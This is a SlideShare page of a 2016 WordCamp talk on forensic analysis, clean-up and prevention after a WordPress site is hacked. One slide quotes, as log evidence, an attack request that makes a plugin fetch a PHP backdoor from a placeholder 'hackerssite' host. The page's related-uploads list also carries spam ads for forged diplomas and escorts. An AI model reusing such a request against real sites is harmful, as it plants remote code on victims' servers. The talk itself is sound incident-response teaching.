SlideShare ist ein Scribd-Unternehmen logo
1 von 54
Post-Mortem of a
Hacked Website
Presented By: Tim Butler – Conetix
WordCamp Sunshine Coast 2016
Twitter: @timbutler
Who Am I?
Tim Butler
Enterprise Manager – Conetix
● 5 years in the hosting industry
● Previous - IT Security Manager within Federal Government
● Using WordPress since 2005
● Clean-up 2-5 hacked websites a week
In this talk….
➔What happens when you’re hacked
➔Deep Analysis
➔Clean Up
➔Prevention
But before we start….
Prevention is better than the cure
Backup Backup Backup!
(and then take an other backup)
How do you know if you’ve been hacked?
How do you know if you’ve been hacked?
• Used to be simple (but annoying) defacing
• Poor site performance
• Emails bouncing
• Google was nice enough to let you know
How do you know if you’ve been hacked?
Why was I hacked?
• You probably weren’t targeted specifically
• DoS attacks
• Phishing
• Spam
• Bot to hack other sites
Why was I hacked?
Google discover over 100,000 infected sites
per month
100 billion estimated cost of cybercrime
So… I’ve been hacked
• Hackers want to have the system exploited
for as long as possible
• Many exploits avoid Google / Chrome to
remain undetected
• Obfuscated code
• Self morphing code
So… I’ve been hacked
Basically, it’s one big game of cat and mouse
Source: simpsons.wikia.com
So…. I’ve been hacked
So…. I’ve been hacked
So…. I’ve been hacked
You had up-to-date backups, right?
Oh……..
Just another reminder
Backup
Backup
Backup!
Step1: Don’t Touch Anything
Step1: Don’t Touch Anything
Treat it like a crime scene
You need to preserve the digital forensics
Step1: Don’t Touch Anything
• Webserver log files
• Server log files
• File timestamps
• Talk to your host!
Most important part is to find the point of origin
Step1: Don’t Touch Anything
If you need your website back up immediately,
restore your most recent backup to a new
hosting subscription and update DNS
Step 2: Forensic Analysis
Step 2: Forensic Analysis
Need to prevent re-infection
Root Cause Analysis
Step 2: Forensic Analysis
Step 2: Forensic Analysis
Is it like CSI? Zoom and Enhance!
Step 2: Forensic Analysis
YEEEAAAAHH!
Step 2: Forensic Analysis
Reality
• Lots of digging through log files
• Lots of referencing file modifications times
• Lots of low-level, tech work
Step 2: Forensic Analysis
Access Log Files
Step 2: Forensic Analysis
Access Log Files
• First item to check
• Look for suspicious POST calls
• Looking for the result of the hack to start
with, not the cause
Step 2: Forensic Analysis
POST Calls
• Need to sort the good from the bad
grep POST access_log | wc -l
• 1,412 results
What to look for
Where to look for it
Quickly count the results
Step 2: Forensic Analysis
POST Calls
grep POST access_log |
grep -v wp-cron.php |
grep –v xmlrpc.php |
grep –v /wp-admin |
grep –v wp-login.php |
wc –l
• 516 results
-v = inverse match
Step 2: Forensic Analysis
POST Calls
grep POST access_log |
grep -v wp-cron.php |
grep –v xmlrpc.php |
grep –v /wp-admin |
grep –v wp-login.php |
wc –l
• 16 results
Only match 200 calls, ie filter out 403 / 404
Step 2: Forensic Analysis
POST Calls
Hopefully narrowed it down to something like
this
Step 2: Forensic Analysis
• File Contents
Step 2: Forensic Analysis
File Creation / Modification Times
• We know the malicious file is
wp-content/plugins/legit-looking/plugin/safefile.php
• Let’s look at the modification time:
ls –l safefile.php
-rw-r--r-- 1 fileowner filegroup 99424 Mar 23 2013
safefile.php
• Also check the creation time:
Step 2: Forensic Analysis
File Creation / Modification Times
• Also check the creation time:
ls –lc safefile.php
-rw-r--r-- 1 fileowner filegroup 99424 Apr 18 02:45
safefile.php
• Dates can be manipulated! Here’s were we need to search
Step 2: Forensic Analysis
Recheck Access Logs
grep “[18/Apr/2016:02:45” access_log
This may give us something like:
xxx.xxx.xxx.xxx - - [18/Apr/2016:02:45:00 +1000] "GET /wp-content/plugins/robo-
gallery/includes/rbs_gallery_ajax.php?function=file_put_contents(%22http%3A%2F%2F
hackerssite%2Fscripts%2Fsafefile.php%22) HTTP/1.1" 200 449954 "-" "Mozilla/5.0
(Windows NT 6.1; rv:34.0) Gecko/20100101 Firefox/34.0“
Step 2: Forensic Analysis
Step 3: The Clean Up
Step 3: The Clean Up
Most secure way is to restore from backup
Yet another reminder
Backup
Backup
Backup!
Step 3: The Clean Up
• 10x as much work
If there’s no backups…
• Hackers love to leave backdoors to regain
access
Step 3: The Clean Up
Remove infected files
• Malicious files
• Look for other files
They can modify every other file in your site
Step 3: The Clean Up
Check for Database changes
• Inserted users
• Updated passwords/ privileges for non-
admin users
Step 3: The Clean Up
Cron Jobs
• Scheduled re-infections
• Check your web control panel / raw cron
Step 3: The Clean Up
RBL Blacklists
• If you were spamming, automated systems
notice
• Use an RBL lookup to check
- Senderbase (used by Telstra / Optus etc) don’t
allow you to automate scans
- Nor does Hotmail / Outlook / Office365 / Google
Step 4: Prevention
Step 4: Prevention
Yeah… well… it’s not exactly prevention…
But….
Final Reminder
Backup
Backup
Backup!
Step 4: Prevention
One critical step
UPDATEUPDATE
Step 4: Prevention
Keep your software up-to-date
• Core
• Plugins
• Themes
Step 4: Prevention
Keep your software up-to-date
• One gotcha to be aware of:
Paid Themes with Plugins
- may not auto update
- may require an active subscription
• Remove (don’t just disable) unused themes / plugins
Step 4: Prevention
Secure Passwords
• Unique password per site / login
• Use a password manager
• Length is more important than complexity
(12+ characters is good)
Step 4: Prevention
Monitoring
• Monitor your site performance
• Google Webmaster alerts
• WordFence / iThemes Security
Step 4: Prevention
Server / Hosting Protection
• CloudFlare Pro / Web Application Firewall
• Limit each site to one user
• Don’t keep old directories / backups on the
server
Questions?
Source: https://xkcd.com/1328/
Thank You!
https://www.conetix.com.au/events/wordcamp-sunshine-coast-2016

Weitere ähnliche Inhalte

Was ist angesagt?

Logging for Hackers - What you need to know to catch them
Logging for Hackers - What you need to know to catch themLogging for Hackers - What you need to know to catch them
Logging for Hackers - What you need to know to catch themMichael Gough
 
Windows IR made easier and faster v1.0
Windows IR made easier and faster v1.0Windows IR made easier and faster v1.0
Windows IR made easier and faster v1.0Michael Gough
 
You need a PROcess to catch running processes and their modules_v2.0
You need a PROcess to catch running processes and their modules_v2.0You need a PROcess to catch running processes and their modules_v2.0
You need a PROcess to catch running processes and their modules_v2.0Michael Gough
 
Logging for hackers SAINTCON
Logging for hackers SAINTCONLogging for hackers SAINTCON
Logging for hackers SAINTCONMichael Gough
 
Secure Yourself, Practice what we preach - BSides Austin 2015
Secure Yourself, Practice what we preach - BSides Austin 2015Secure Yourself, Practice what we preach - BSides Austin 2015
Secure Yourself, Practice what we preach - BSides Austin 2015Michael Gough
 
Detecting WMI Exploitation v1.1
Detecting WMI Exploitation v1.1Detecting WMI Exploitation v1.1
Detecting WMI Exploitation v1.1Michael Gough
 
Commodity malware means YOU
Commodity malware means YOUCommodity malware means YOU
Commodity malware means YOUMichael Gough
 
Info sec is not daunting v1.0
Info sec is not daunting v1.0 Info sec is not daunting v1.0
Info sec is not daunting v1.0 Michael Gough
 
Hunting for the secrets in a cloud forest
Hunting for the secrets in a cloud forestHunting for the secrets in a cloud forest
Hunting for the secrets in a cloud forestSecuRing
 
Bsides detroit 2013 honeypots
Bsides detroit 2013   honeypotsBsides detroit 2013   honeypots
Bsides detroit 2013 honeypotsTazdrumm3r
 
Proper logging can catch breaches like retail PoS
Proper logging can catch breaches like retail PoSProper logging can catch breaches like retail PoS
Proper logging can catch breaches like retail PoSMichael Gough
 
Anton Chuvakin on Discovering That Your Linux Box is Hacked
Anton Chuvakin on Discovering That Your Linux Box is HackedAnton Chuvakin on Discovering That Your Linux Box is Hacked
Anton Chuvakin on Discovering That Your Linux Box is HackedAnton Chuvakin
 
RMISC logging for hackers
RMISC logging for hackersRMISC logging for hackers
RMISC logging for hackersMichael Gough
 
Email keeps getting us pwned v1.1
Email keeps getting us pwned v1.1Email keeps getting us pwned v1.1
Email keeps getting us pwned v1.1Michael Gough
 
Email keeps getting us pwned - Avoiding Ransomware and malware
Email keeps getting us pwned - Avoiding Ransomware and malwareEmail keeps getting us pwned - Avoiding Ransomware and malware
Email keeps getting us pwned - Avoiding Ransomware and malwareMichael Gough
 
InnoTech 2017_Defend_Against_Ransomware 3.0
InnoTech 2017_Defend_Against_Ransomware 3.0InnoTech 2017_Defend_Against_Ransomware 3.0
InnoTech 2017_Defend_Against_Ransomware 3.0Michael Gough
 
DIR ISF - Email keeps getting us pwned v1.1
DIR ISF - Email keeps getting us pwned v1.1DIR ISF - Email keeps getting us pwned v1.1
DIR ISF - Email keeps getting us pwned v1.1Michael Gough
 
Pentesting Tips: Beyond Automated Testing
Pentesting Tips: Beyond Automated TestingPentesting Tips: Beyond Automated Testing
Pentesting Tips: Beyond Automated TestingAndrew McNicol
 

Was ist angesagt? (18)

Logging for Hackers - What you need to know to catch them
Logging for Hackers - What you need to know to catch themLogging for Hackers - What you need to know to catch them
Logging for Hackers - What you need to know to catch them
 
Windows IR made easier and faster v1.0
Windows IR made easier and faster v1.0Windows IR made easier and faster v1.0
Windows IR made easier and faster v1.0
 
You need a PROcess to catch running processes and their modules_v2.0
You need a PROcess to catch running processes and their modules_v2.0You need a PROcess to catch running processes and their modules_v2.0
You need a PROcess to catch running processes and their modules_v2.0
 
Logging for hackers SAINTCON
Logging for hackers SAINTCONLogging for hackers SAINTCON
Logging for hackers SAINTCON
 
Secure Yourself, Practice what we preach - BSides Austin 2015
Secure Yourself, Practice what we preach - BSides Austin 2015Secure Yourself, Practice what we preach - BSides Austin 2015
Secure Yourself, Practice what we preach - BSides Austin 2015
 
Detecting WMI Exploitation v1.1
Detecting WMI Exploitation v1.1Detecting WMI Exploitation v1.1
Detecting WMI Exploitation v1.1
 
Commodity malware means YOU
Commodity malware means YOUCommodity malware means YOU
Commodity malware means YOU
 
Info sec is not daunting v1.0
Info sec is not daunting v1.0 Info sec is not daunting v1.0
Info sec is not daunting v1.0
 
Hunting for the secrets in a cloud forest
Hunting for the secrets in a cloud forestHunting for the secrets in a cloud forest
Hunting for the secrets in a cloud forest
 
Bsides detroit 2013 honeypots
Bsides detroit 2013   honeypotsBsides detroit 2013   honeypots
Bsides detroit 2013 honeypots
 
Proper logging can catch breaches like retail PoS
Proper logging can catch breaches like retail PoSProper logging can catch breaches like retail PoS
Proper logging can catch breaches like retail PoS
 
Anton Chuvakin on Discovering That Your Linux Box is Hacked
Anton Chuvakin on Discovering That Your Linux Box is HackedAnton Chuvakin on Discovering That Your Linux Box is Hacked
Anton Chuvakin on Discovering That Your Linux Box is Hacked
 
RMISC logging for hackers
RMISC logging for hackersRMISC logging for hackers
RMISC logging for hackers
 
Email keeps getting us pwned v1.1
Email keeps getting us pwned v1.1Email keeps getting us pwned v1.1
Email keeps getting us pwned v1.1
 
Email keeps getting us pwned - Avoiding Ransomware and malware
Email keeps getting us pwned - Avoiding Ransomware and malwareEmail keeps getting us pwned - Avoiding Ransomware and malware
Email keeps getting us pwned - Avoiding Ransomware and malware
 
InnoTech 2017_Defend_Against_Ransomware 3.0
InnoTech 2017_Defend_Against_Ransomware 3.0InnoTech 2017_Defend_Against_Ransomware 3.0
InnoTech 2017_Defend_Against_Ransomware 3.0
 
DIR ISF - Email keeps getting us pwned v1.1
DIR ISF - Email keeps getting us pwned v1.1DIR ISF - Email keeps getting us pwned v1.1
DIR ISF - Email keeps getting us pwned v1.1
 
Pentesting Tips: Beyond Automated Testing
Pentesting Tips: Beyond Automated TestingPentesting Tips: Beyond Automated Testing
Pentesting Tips: Beyond Automated Testing
 

Ähnlich wie Post Mortem of a Hacked Website - Wordcamp Sunshine Coast 2016

Brute Force - Lior Rotkovitch - f5 SIRT v5.pdf
Brute Force - Lior Rotkovitch - f5 SIRT v5.pdfBrute Force - Lior Rotkovitch - f5 SIRT v5.pdf
Brute Force - Lior Rotkovitch - f5 SIRT v5.pdfLior Rotkovitch
 
Ethical hacking 101 - Singapore RSA 2019
Ethical hacking 101 - Singapore RSA 2019Ethical hacking 101 - Singapore RSA 2019
Ethical hacking 101 - Singapore RSA 2019Paul Haskell-Dowland
 
Abraham aranguren. legal and efficient web app testing without permission
Abraham aranguren. legal and efficient web app testing without permissionAbraham aranguren. legal and efficient web app testing without permission
Abraham aranguren. legal and efficient web app testing without permissionYury Chemerkin
 
BSIDES-PR Keynote Hunting for Bad Guys
BSIDES-PR Keynote Hunting for Bad GuysBSIDES-PR Keynote Hunting for Bad Guys
BSIDES-PR Keynote Hunting for Bad GuysJoff Thyer
 
H4CK1N6 - Web Application Security
H4CK1N6 - Web Application SecurityH4CK1N6 - Web Application Security
H4CK1N6 - Web Application SecurityOliver Hader
 
Legal and efficient web app testing without permission
Legal and efficient web app testing without permissionLegal and efficient web app testing without permission
Legal and efficient web app testing without permissionAbraham Aranguren
 
The Web Application Hackers Toolchain
The Web Application Hackers ToolchainThe Web Application Hackers Toolchain
The Web Application Hackers Toolchainjasonhaddix
 
Beyond Automated Testing - RVAsec 2016
Beyond Automated Testing - RVAsec 2016Beyond Automated Testing - RVAsec 2016
Beyond Automated Testing - RVAsec 2016Andrew McNicol
 
Malware Analysis 101: N00b to Ninja in 60 Minutes at BSidesDC on October 19, ...
Malware Analysis 101: N00b to Ninja in 60 Minutes at BSidesDC on October 19, ...Malware Analysis 101: N00b to Ninja in 60 Minutes at BSidesDC on October 19, ...
Malware Analysis 101: N00b to Ninja in 60 Minutes at BSidesDC on October 19, ...grecsl
 
BSidesCharleston2014 - Ballin on a Budget: Tracking Chinese Malware Campaigns...
BSidesCharleston2014 - Ballin on a Budget: Tracking Chinese Malware Campaigns...BSidesCharleston2014 - Ballin on a Budget: Tracking Chinese Malware Campaigns...
BSidesCharleston2014 - Ballin on a Budget: Tracking Chinese Malware Campaigns...Andrew Morris
 
All These Sophisticated Attacks, Can We Really Detect Them - PDF
All These Sophisticated Attacks, Can We Really Detect Them - PDFAll These Sophisticated Attacks, Can We Really Detect Them - PDF
All These Sophisticated Attacks, Can We Really Detect Them - PDFMichael Gough
 
2023 NCIT: Introduction to Intrusion Detection
2023 NCIT: Introduction to Intrusion Detection2023 NCIT: Introduction to Intrusion Detection
2023 NCIT: Introduction to Intrusion DetectionAPNIC
 
When Security Tools Fail You
When Security Tools Fail YouWhen Security Tools Fail You
When Security Tools Fail YouMichael Gough
 
Cambodia CERT Seminar: Incident response for ransomeware attacks
Cambodia CERT Seminar: Incident response for ransomeware attacksCambodia CERT Seminar: Incident response for ransomeware attacks
Cambodia CERT Seminar: Incident response for ransomeware attacksAPNIC
 
hackcon2013-Dirty Little Secrets They Didn't Teach You In Pentesting Class v2
hackcon2013-Dirty Little Secrets They Didn't Teach You In Pentesting Class v2hackcon2013-Dirty Little Secrets They Didn't Teach You In Pentesting Class v2
hackcon2013-Dirty Little Secrets They Didn't Teach You In Pentesting Class v2Chris Gates
 
Magento Live UK Nexcess Performance & Security Session
Magento Live UK Nexcess Performance & Security SessionMagento Live UK Nexcess Performance & Security Session
Magento Live UK Nexcess Performance & Security SessionNexcess.net LLC
 
Oracle database threats - LAOUC Webinar
Oracle database threats - LAOUC WebinarOracle database threats - LAOUC Webinar
Oracle database threats - LAOUC WebinarOsama Mustafa
 
Devoxx Belgium 2022 - Debugging distributed systems
Devoxx Belgium 2022 - Debugging distributed systemsDevoxx Belgium 2022 - Debugging distributed systems
Devoxx Belgium 2022 - Debugging distributed systemsBert Jan Schrijver
 
Arnhem JUG March 2023 - Debugging distributed systems
Arnhem JUG March 2023 - Debugging distributed systemsArnhem JUG March 2023 - Debugging distributed systems
Arnhem JUG March 2023 - Debugging distributed systemsBert Jan Schrijver
 
6 Scope & 7 Live Data Collection
6 Scope & 7 Live Data Collection6 Scope & 7 Live Data Collection
6 Scope & 7 Live Data CollectionSam Bowne
 

Ähnlich wie Post Mortem of a Hacked Website - Wordcamp Sunshine Coast 2016 (20)

Brute Force - Lior Rotkovitch - f5 SIRT v5.pdf
Brute Force - Lior Rotkovitch - f5 SIRT v5.pdfBrute Force - Lior Rotkovitch - f5 SIRT v5.pdf
Brute Force - Lior Rotkovitch - f5 SIRT v5.pdf
 
Ethical hacking 101 - Singapore RSA 2019
Ethical hacking 101 - Singapore RSA 2019Ethical hacking 101 - Singapore RSA 2019
Ethical hacking 101 - Singapore RSA 2019
 
Abraham aranguren. legal and efficient web app testing without permission
Abraham aranguren. legal and efficient web app testing without permissionAbraham aranguren. legal and efficient web app testing without permission
Abraham aranguren. legal and efficient web app testing without permission
 
BSIDES-PR Keynote Hunting for Bad Guys
BSIDES-PR Keynote Hunting for Bad GuysBSIDES-PR Keynote Hunting for Bad Guys
BSIDES-PR Keynote Hunting for Bad Guys
 
H4CK1N6 - Web Application Security
H4CK1N6 - Web Application SecurityH4CK1N6 - Web Application Security
H4CK1N6 - Web Application Security
 
Legal and efficient web app testing without permission
Legal and efficient web app testing without permissionLegal and efficient web app testing without permission
Legal and efficient web app testing without permission
 
The Web Application Hackers Toolchain
The Web Application Hackers ToolchainThe Web Application Hackers Toolchain
The Web Application Hackers Toolchain
 
Beyond Automated Testing - RVAsec 2016
Beyond Automated Testing - RVAsec 2016Beyond Automated Testing - RVAsec 2016
Beyond Automated Testing - RVAsec 2016
 
Malware Analysis 101: N00b to Ninja in 60 Minutes at BSidesDC on October 19, ...
Malware Analysis 101: N00b to Ninja in 60 Minutes at BSidesDC on October 19, ...Malware Analysis 101: N00b to Ninja in 60 Minutes at BSidesDC on October 19, ...
Malware Analysis 101: N00b to Ninja in 60 Minutes at BSidesDC on October 19, ...
 
BSidesCharleston2014 - Ballin on a Budget: Tracking Chinese Malware Campaigns...
BSidesCharleston2014 - Ballin on a Budget: Tracking Chinese Malware Campaigns...BSidesCharleston2014 - Ballin on a Budget: Tracking Chinese Malware Campaigns...
BSidesCharleston2014 - Ballin on a Budget: Tracking Chinese Malware Campaigns...
 
All These Sophisticated Attacks, Can We Really Detect Them - PDF
All These Sophisticated Attacks, Can We Really Detect Them - PDFAll These Sophisticated Attacks, Can We Really Detect Them - PDF
All These Sophisticated Attacks, Can We Really Detect Them - PDF
 
2023 NCIT: Introduction to Intrusion Detection
2023 NCIT: Introduction to Intrusion Detection2023 NCIT: Introduction to Intrusion Detection
2023 NCIT: Introduction to Intrusion Detection
 
When Security Tools Fail You
When Security Tools Fail YouWhen Security Tools Fail You
When Security Tools Fail You
 
Cambodia CERT Seminar: Incident response for ransomeware attacks
Cambodia CERT Seminar: Incident response for ransomeware attacksCambodia CERT Seminar: Incident response for ransomeware attacks
Cambodia CERT Seminar: Incident response for ransomeware attacks
 
hackcon2013-Dirty Little Secrets They Didn't Teach You In Pentesting Class v2
hackcon2013-Dirty Little Secrets They Didn't Teach You In Pentesting Class v2hackcon2013-Dirty Little Secrets They Didn't Teach You In Pentesting Class v2
hackcon2013-Dirty Little Secrets They Didn't Teach You In Pentesting Class v2
 
Magento Live UK Nexcess Performance & Security Session
Magento Live UK Nexcess Performance & Security SessionMagento Live UK Nexcess Performance & Security Session
Magento Live UK Nexcess Performance & Security Session
 
Oracle database threats - LAOUC Webinar
Oracle database threats - LAOUC WebinarOracle database threats - LAOUC Webinar
Oracle database threats - LAOUC Webinar
 
Devoxx Belgium 2022 - Debugging distributed systems
Devoxx Belgium 2022 - Debugging distributed systemsDevoxx Belgium 2022 - Debugging distributed systems
Devoxx Belgium 2022 - Debugging distributed systems
 
Arnhem JUG March 2023 - Debugging distributed systems
Arnhem JUG March 2023 - Debugging distributed systemsArnhem JUG March 2023 - Debugging distributed systems
Arnhem JUG March 2023 - Debugging distributed systems
 
6 Scope & 7 Live Data Collection
6 Scope & 7 Live Data Collection6 Scope & 7 Live Data Collection
6 Scope & 7 Live Data Collection
 

Kürzlich hochgeladen

Alfresco TTL#157 - Troubleshooting Made Easy: Deciphering Alfresco mTLS Confi...
Alfresco TTL#157 - Troubleshooting Made Easy: Deciphering Alfresco mTLS Confi...Alfresco TTL#157 - Troubleshooting Made Easy: Deciphering Alfresco mTLS Confi...
Alfresco TTL#157 - Troubleshooting Made Easy: Deciphering Alfresco mTLS Confi...Angel Borroy López
 
Maximizing Efficiency and Profitability with OnePlan’s Professional Service A...
Maximizing Efficiency and Profitability with OnePlan’s Professional Service A...Maximizing Efficiency and Profitability with OnePlan’s Professional Service A...
Maximizing Efficiency and Profitability with OnePlan’s Professional Service A...OnePlan Solutions
 
React Server Component in Next.js by Hanief Utama
React Server Component in Next.js by Hanief UtamaReact Server Component in Next.js by Hanief Utama
React Server Component in Next.js by Hanief UtamaHanief Utama
 
Introduction Computer Science - Software Design.pdf
Introduction Computer Science - Software Design.pdfIntroduction Computer Science - Software Design.pdf
Introduction Computer Science - Software Design.pdfFerryKemperman
 
Unveiling Design Patterns: A Visual Guide with UML Diagrams
Unveiling Design Patterns: A Visual Guide with UML DiagramsUnveiling Design Patterns: A Visual Guide with UML Diagrams
Unveiling Design Patterns: A Visual Guide with UML DiagramsAhmed Mohamed
 
CRM Contender Series: HubSpot vs. Salesforce
CRM Contender Series: HubSpot vs. SalesforceCRM Contender Series: HubSpot vs. Salesforce
CRM Contender Series: HubSpot vs. SalesforceBrainSell Technologies
 
Software Project Health Check: Best Practices and Techniques for Your Product...
Software Project Health Check: Best Practices and Techniques for Your Product...Software Project Health Check: Best Practices and Techniques for Your Product...
Software Project Health Check: Best Practices and Techniques for Your Product...Velvetech LLC
 
办理学位证(UQ文凭证书)昆士兰大学毕业证成绩单原版一模一样
办理学位证(UQ文凭证书)昆士兰大学毕业证成绩单原版一模一样办理学位证(UQ文凭证书)昆士兰大学毕业证成绩单原版一模一样
办理学位证(UQ文凭证书)昆士兰大学毕业证成绩单原版一模一样umasea
 
Call Us🔝>༒+91-9711147426⇛Call In girls karol bagh (Delhi)
Call Us🔝>༒+91-9711147426⇛Call In girls karol bagh (Delhi)Call Us🔝>༒+91-9711147426⇛Call In girls karol bagh (Delhi)
Call Us🔝>༒+91-9711147426⇛Call In girls karol bagh (Delhi)jennyeacort
 
Taming Distributed Systems: Key Insights from Wix's Large-Scale Experience - ...
Taming Distributed Systems: Key Insights from Wix's Large-Scale Experience - ...Taming Distributed Systems: Key Insights from Wix's Large-Scale Experience - ...
Taming Distributed Systems: Key Insights from Wix's Large-Scale Experience - ...Natan Silnitsky
 
Dealing with Cultural Dispersion — Stefano Lambiase — ICSE-SEIS 2024
Dealing with Cultural Dispersion — Stefano Lambiase — ICSE-SEIS 2024Dealing with Cultural Dispersion — Stefano Lambiase — ICSE-SEIS 2024
Dealing with Cultural Dispersion — Stefano Lambiase — ICSE-SEIS 2024StefanoLambiase
 
PREDICTING RIVER WATER QUALITY ppt presentation
PREDICTING  RIVER  WATER QUALITY  ppt presentationPREDICTING  RIVER  WATER QUALITY  ppt presentation
PREDICTING RIVER WATER QUALITY ppt presentationvaddepallysandeep122
 
Best Web Development Agency- Idiosys USA.pdf
Best Web Development Agency- Idiosys USA.pdfBest Web Development Agency- Idiosys USA.pdf
Best Web Development Agency- Idiosys USA.pdfIdiosysTechnologies1
 
Catch the Wave: SAP Event-Driven and Data Streaming for the Intelligence Ente...
Catch the Wave: SAP Event-Driven and Data Streaming for the Intelligence Ente...Catch the Wave: SAP Event-Driven and Data Streaming for the Intelligence Ente...
Catch the Wave: SAP Event-Driven and Data Streaming for the Intelligence Ente...confluent
 
英国UN学位证,北安普顿大学毕业证书1:1制作
英国UN学位证,北安普顿大学毕业证书1:1制作英国UN学位证,北安普顿大学毕业证书1:1制作
英国UN学位证,北安普顿大学毕业证书1:1制作qr0udbr0
 
MYjobs Presentation Django-based project
MYjobs Presentation Django-based projectMYjobs Presentation Django-based project
MYjobs Presentation Django-based projectAnoyGreter
 
Alluxio Monthly Webinar | Cloud-Native Model Training on Distributed Data
Alluxio Monthly Webinar | Cloud-Native Model Training on Distributed DataAlluxio Monthly Webinar | Cloud-Native Model Training on Distributed Data
Alluxio Monthly Webinar | Cloud-Native Model Training on Distributed DataAlluxio, Inc.
 
Tech Tuesday - Mastering Time Management Unlock the Power of OnePlan's Timesh...
Tech Tuesday - Mastering Time Management Unlock the Power of OnePlan's Timesh...Tech Tuesday - Mastering Time Management Unlock the Power of OnePlan's Timesh...
Tech Tuesday - Mastering Time Management Unlock the Power of OnePlan's Timesh...OnePlan Solutions
 
Unveiling the Future: Sylius 2.0 New Features
Unveiling the Future: Sylius 2.0 New FeaturesUnveiling the Future: Sylius 2.0 New Features
Unveiling the Future: Sylius 2.0 New FeaturesŁukasz Chruściel
 

Kürzlich hochgeladen (20)

Alfresco TTL#157 - Troubleshooting Made Easy: Deciphering Alfresco mTLS Confi...
Alfresco TTL#157 - Troubleshooting Made Easy: Deciphering Alfresco mTLS Confi...Alfresco TTL#157 - Troubleshooting Made Easy: Deciphering Alfresco mTLS Confi...
Alfresco TTL#157 - Troubleshooting Made Easy: Deciphering Alfresco mTLS Confi...
 
Maximizing Efficiency and Profitability with OnePlan’s Professional Service A...
Maximizing Efficiency and Profitability with OnePlan’s Professional Service A...Maximizing Efficiency and Profitability with OnePlan’s Professional Service A...
Maximizing Efficiency and Profitability with OnePlan’s Professional Service A...
 
React Server Component in Next.js by Hanief Utama
React Server Component in Next.js by Hanief UtamaReact Server Component in Next.js by Hanief Utama
React Server Component in Next.js by Hanief Utama
 
Introduction Computer Science - Software Design.pdf
Introduction Computer Science - Software Design.pdfIntroduction Computer Science - Software Design.pdf
Introduction Computer Science - Software Design.pdf
 
Unveiling Design Patterns: A Visual Guide with UML Diagrams
Unveiling Design Patterns: A Visual Guide with UML DiagramsUnveiling Design Patterns: A Visual Guide with UML Diagrams
Unveiling Design Patterns: A Visual Guide with UML Diagrams
 
CRM Contender Series: HubSpot vs. Salesforce
CRM Contender Series: HubSpot vs. SalesforceCRM Contender Series: HubSpot vs. Salesforce
CRM Contender Series: HubSpot vs. Salesforce
 
Software Project Health Check: Best Practices and Techniques for Your Product...
Software Project Health Check: Best Practices and Techniques for Your Product...Software Project Health Check: Best Practices and Techniques for Your Product...
Software Project Health Check: Best Practices and Techniques for Your Product...
 
办理学位证(UQ文凭证书)昆士兰大学毕业证成绩单原版一模一样
办理学位证(UQ文凭证书)昆士兰大学毕业证成绩单原版一模一样办理学位证(UQ文凭证书)昆士兰大学毕业证成绩单原版一模一样
办理学位证(UQ文凭证书)昆士兰大学毕业证成绩单原版一模一样
 
Advantages of Odoo ERP 17 for Your Business
Advantages of Odoo ERP 17 for Your BusinessAdvantages of Odoo ERP 17 for Your Business
Advantages of Odoo ERP 17 for Your Business
 
Call Us🔝>༒+91-9711147426⇛Call In girls karol bagh (Delhi)
Call Us🔝>༒+91-9711147426⇛Call In girls karol bagh (Delhi)Call Us🔝>༒+91-9711147426⇛Call In girls karol bagh (Delhi)
Call Us🔝>༒+91-9711147426⇛Call In girls karol bagh (Delhi)
 
Taming Distributed Systems: Key Insights from Wix's Large-Scale Experience - ...
Taming Distributed Systems: Key Insights from Wix's Large-Scale Experience - ...Taming Distributed Systems: Key Insights from Wix's Large-Scale Experience - ...
Taming Distributed Systems: Key Insights from Wix's Large-Scale Experience - ...
 
Dealing with Cultural Dispersion — Stefano Lambiase — ICSE-SEIS 2024
Dealing with Cultural Dispersion — Stefano Lambiase — ICSE-SEIS 2024Dealing with Cultural Dispersion — Stefano Lambiase — ICSE-SEIS 2024
Dealing with Cultural Dispersion — Stefano Lambiase — ICSE-SEIS 2024
 
PREDICTING RIVER WATER QUALITY ppt presentation
PREDICTING  RIVER  WATER QUALITY  ppt presentationPREDICTING  RIVER  WATER QUALITY  ppt presentation
PREDICTING RIVER WATER QUALITY ppt presentation
 
Best Web Development Agency- Idiosys USA.pdf
Best Web Development Agency- Idiosys USA.pdfBest Web Development Agency- Idiosys USA.pdf
Best Web Development Agency- Idiosys USA.pdf
 
Catch the Wave: SAP Event-Driven and Data Streaming for the Intelligence Ente...
Catch the Wave: SAP Event-Driven and Data Streaming for the Intelligence Ente...Catch the Wave: SAP Event-Driven and Data Streaming for the Intelligence Ente...
Catch the Wave: SAP Event-Driven and Data Streaming for the Intelligence Ente...
 
英国UN学位证,北安普顿大学毕业证书1:1制作
英国UN学位证,北安普顿大学毕业证书1:1制作英国UN学位证,北安普顿大学毕业证书1:1制作
英国UN学位证,北安普顿大学毕业证书1:1制作
 
MYjobs Presentation Django-based project
MYjobs Presentation Django-based projectMYjobs Presentation Django-based project
MYjobs Presentation Django-based project
 
Alluxio Monthly Webinar | Cloud-Native Model Training on Distributed Data
Alluxio Monthly Webinar | Cloud-Native Model Training on Distributed DataAlluxio Monthly Webinar | Cloud-Native Model Training on Distributed Data
Alluxio Monthly Webinar | Cloud-Native Model Training on Distributed Data
 
Tech Tuesday - Mastering Time Management Unlock the Power of OnePlan's Timesh...
Tech Tuesday - Mastering Time Management Unlock the Power of OnePlan's Timesh...Tech Tuesday - Mastering Time Management Unlock the Power of OnePlan's Timesh...
Tech Tuesday - Mastering Time Management Unlock the Power of OnePlan's Timesh...
 
Unveiling the Future: Sylius 2.0 New Features
Unveiling the Future: Sylius 2.0 New FeaturesUnveiling the Future: Sylius 2.0 New Features
Unveiling the Future: Sylius 2.0 New Features
 

Post Mortem of a Hacked Website - Wordcamp Sunshine Coast 2016

  • 1. Post-Mortem of a Hacked Website Presented By: Tim Butler – Conetix WordCamp Sunshine Coast 2016 Twitter: @timbutler
  • 2. Who Am I? Tim Butler Enterprise Manager – Conetix ● 5 years in the hosting industry ● Previous - IT Security Manager within Federal Government ● Using WordPress since 2005 ● Clean-up 2-5 hacked websites a week
  • 3. In this talk…. ➔What happens when you’re hacked ➔Deep Analysis ➔Clean Up ➔Prevention
  • 4. But before we start…. Prevention is better than the cure Backup Backup Backup! (and then take an other backup)
  • 5. How do you know if you’ve been hacked?
  • 6. How do you know if you’ve been hacked? • Used to be simple (but annoying) defacing • Poor site performance • Emails bouncing • Google was nice enough to let you know
  • 7. How do you know if you’ve been hacked?
  • 8. Why was I hacked? • You probably weren’t targeted specifically • DoS attacks • Phishing • Spam • Bot to hack other sites
  • 9. Why was I hacked? Google discover over 100,000 infected sites per month 100 billion estimated cost of cybercrime
